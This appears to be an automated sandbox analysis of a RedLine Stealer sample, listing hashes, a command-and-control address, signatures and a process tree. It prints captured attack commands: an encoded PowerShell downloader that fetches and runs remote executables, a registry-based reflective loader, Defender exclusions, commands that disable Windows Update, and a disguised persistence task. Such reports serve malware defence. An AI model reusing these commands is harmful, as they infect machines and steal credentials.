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Analysis
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max time kernel
150s -
max time network
61s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
06/01/2023, 13:07
Static task
static1
Behavioral task
behavioral1
Sample
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
Resource
win10v2004-20220812-en
General
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Target
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
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Size
196KB
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MD5
d9123023e8308e110c5d1dc10b294a82
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SHA1
4e6ed24872903d3ce33322d873fe5c366d3969c1
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SHA256
d9019aa8a43c692e6aea363a4854981ce8f5181fe33e7cfa5acd7deb72ba7b25
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SHA512
d5d6d705e8a8bc1bfc0d3183e2e0e4bad0c4fe26eb6e4924b33373459e2f1f2630d7d15f3143748ff678aef427a5729b8b39217b79fd67dd38fe1c52af5c35c5
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SSDEEP
6144:oIXeZ//p6oOD3Hvt1F3QAOijgGSLa5/Nc:tOF/oFwMXka5O
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/580-90-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/580-97-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/580-98-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/580-95-0x000000000041ADAE-mapping.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1052 created 1244 1052 SmartDefRun.exe 12 PID 1052 created 1244 1052 SmartDefRun.exe 12 PID 1052 created 1244 1052 SmartDefRun.exe 12 PID 1052 created 1244 1052 SmartDefRun.exe 12 PID 928 created 420 928 powershell.EXE 3 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 564 powershell.exe 6 564 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 3 IoCs
pid Process 484 new2.exe 1192 SysApp.exe 1052 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 8 IoCs
pid Process 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe 1688 WerFault.exe 1688 WerFault.exe 1688 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1516 set thread context of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 484 set thread context of 580 484 new2.exe 37 PID 1052 set thread context of 268 1052 SmartDefRun.exe 57 PID 928 set thread context of 1988 928 powershell.EXE 63 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1884 sc.exe 792 sc.exe 292 sc.exe 1088 sc.exe 1416 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1520 1516 WerFault.exe 27 1688 484 WerFault.exe 34 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1892 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00f4ae5ad821d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe 564 powershell.exe 1192 SysApp.exe 1192 SysApp.exe 1192 SysApp.exe 1192 SysApp.exe 1192 SysApp.exe 1052 SmartDefRun.exe 1052 SmartDefRun.exe 1128 powershell.exe 1052 SmartDefRun.exe 1052 SmartDefRun.exe 1052 SmartDefRun.exe 1052 SmartDefRun.exe 2016 powershell.exe 1052 SmartDefRun.exe 1052 SmartDefRun.exe 580 vbc.exe 744 powershell.EXE 928 powershell.EXE 928 powershell.EXE 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 564 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeDebugPrivilege 580 vbc.exe Token: SeDebugPrivilege 744 powershell.EXE Token: SeDebugPrivilege 928 powershell.EXE Token: SeDebugPrivilege 928 powershell.EXE Token: SeDebugPrivilege 1988 dllhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1516 wrote to memory of 1664 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1516 wrote to memory of 1664 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1516 wrote to memory of 1664 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1516 wrote to memory of 1664 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 29 PID 1516 wrote to memory of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1516 wrote to memory of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1516 wrote to memory of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1516 wrote to memory of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1516 wrote to memory of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1516 wrote to memory of 1452 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 30 PID 1516 wrote to memory of 1520 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 31 PID 1516 wrote to memory of 1520 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 31 PID 1516 wrote to memory of 1520 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 31 PID 1516 wrote to memory of 1520 1516 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 31 PID 1452 wrote to memory of 564 1452 vbc.exe 32 PID 1452 wrote to memory of 564 1452 vbc.exe 32 PID 1452 wrote to memory of 564 1452 vbc.exe 32 PID 1452 wrote to memory of 564 1452 vbc.exe 32 PID 564 wrote to memory of 484 564 powershell.exe 34 PID 564 wrote to memory of 484 564 powershell.exe 34 PID 564 wrote to memory of 484 564 powershell.exe 34 PID 564 wrote to memory of 484 564 powershell.exe 34 PID 564 wrote to memory of 1192 564 powershell.exe 35 PID 564 wrote to memory of 1192 564 powershell.exe 35 PID 564 wrote to memory of 1192 564 powershell.exe 35 PID 564 wrote to memory of 1192 564 powershell.exe 35 PID 564 wrote to memory of 1052 564 powershell.exe 36 PID 564 wrote to memory of 1052 564 powershell.exe 36 PID 564 wrote to memory of 1052 564 powershell.exe 36 PID 564 wrote to memory of 1052 564 powershell.exe 36 PID 484 wrote to memory of 580 484 new2.exe 37 PID 484 wrote to memory of 580 484 new2.exe 37 PID 484 wrote to memory of 580 484 new2.exe 37 PID 484 wrote to memory of 580 484 new2.exe 37 PID 484 wrote to memory of 580 484 new2.exe 37 PID 484 wrote to memory of 580 484 new2.exe 37 PID 484 wrote to memory of 1688 484 new2.exe 38 PID 484 wrote to memory of 1688 484 new2.exe 38 PID 484 wrote to memory of 1688 484 new2.exe 38 PID 484 wrote to memory of 1688 484 new2.exe 38 PID 1672 wrote to memory of 292 1672 cmd.exe 47 PID 1672 wrote to memory of 292 1672 cmd.exe 47 PID 1672 wrote to memory of 292 1672 cmd.exe 47 PID 1672 wrote to memory of 792 1672 cmd.exe 46 PID 1672 wrote to memory of 792 1672 cmd.exe 46 PID 1672 wrote to memory of 792 1672 cmd.exe 46 PID 1672 wrote to memory of 1088 1672 cmd.exe 48 PID 1672 wrote to memory of 1088 1672 cmd.exe 48 PID 1672 wrote to memory of 1088 1672 cmd.exe 48 PID 1672 wrote to memory of 1416 1672 cmd.exe 49 PID 1672 wrote to memory of 1416 1672 cmd.exe 49 PID 1672 wrote to memory of 1416 1672 cmd.exe 49 PID 1672 wrote to memory of 1884 1672 cmd.exe 50 PID 1672 wrote to memory of 1884 1672 cmd.exe 50 PID 1672 wrote to memory of 1884 1672 cmd.exe 50 PID 1672 wrote to memory of 1804 1672 cmd.exe 51 PID 1672 wrote to memory of 1804 1672 cmd.exe 51 PID 1672 wrote to memory of 1804 1672 cmd.exe 51 PID 1672 wrote to memory of 316 1672 cmd.exe 52 PID 1672 wrote to memory of 316 1672 cmd.exe 52 PID 1672 wrote to memory of 316 1672 cmd.exe 52 PID 1672 wrote to memory of 1980 1672 cmd.exe 53 PID 1672 wrote to memory of 1980 1672 cmd.exe 53 PID 1672 wrote to memory of 1980 1672 cmd.exe 53
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:796
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵PID:876
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵PID:2024
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C:\Windows\system32\taskeng.exetaskeng.exe {CCA16FDE-5A4E-47C5-BC93-0ACC53076104} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:472
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+'i'+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+'st'+[Char](97)+'ger')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+''+[Char](108)+'er'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:928
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1384
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1040
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:588
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e31377af-bbd0-4663-8846-b9d4e67106ea}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1244
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C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:1664
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:484 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:580
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 484 -s 1166⤵
- Loads dropped DLL
- Program crash
PID:1688
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1192
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1052
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 483⤵
- Program crash
PID:1520
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:792
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:292
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1088
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1416
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1884
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1804
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:316
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1980
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1624
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1252
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1892
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:268
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5737ef4e2035c83a3936fdc8bdf674c7a
SHA19564dfacb7ef53b142871172d7b06a80c16a2d8a
SHA256be178bba98c99fa0ee04eb326933029f7fea2676a46ca7b0e1018e904a49075b
SHA5126346c25f573f481d0798ca1b44953852e96423ca575db175435ed9bc9c1c048f83f2fd29cef7dbca126ca30c0b5dd6b57519d8ba033a22c836b3d2a1f7c09180
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
